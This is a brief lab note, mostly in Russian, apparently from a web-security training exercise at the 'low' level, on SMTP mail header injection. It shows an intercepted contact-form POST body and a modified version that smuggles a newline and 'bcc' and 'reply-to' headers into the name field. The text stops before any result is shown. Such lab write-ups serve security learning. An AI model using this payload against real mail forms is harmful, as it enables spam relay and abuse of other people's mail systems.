Mail Header Injection (SMTP)

(low)

Заполняем форму и перехватываем все burp’ом

После меняем нижнюю строку с

name=test&email=test%40gmail.com&remarks=hello&form=submit

на

name=test\nbcc=hello@gmail.com&reply-to=welocome to bcc age&email=test%40gmail.com&remarks=hello+there+%21&form=submit

и получаем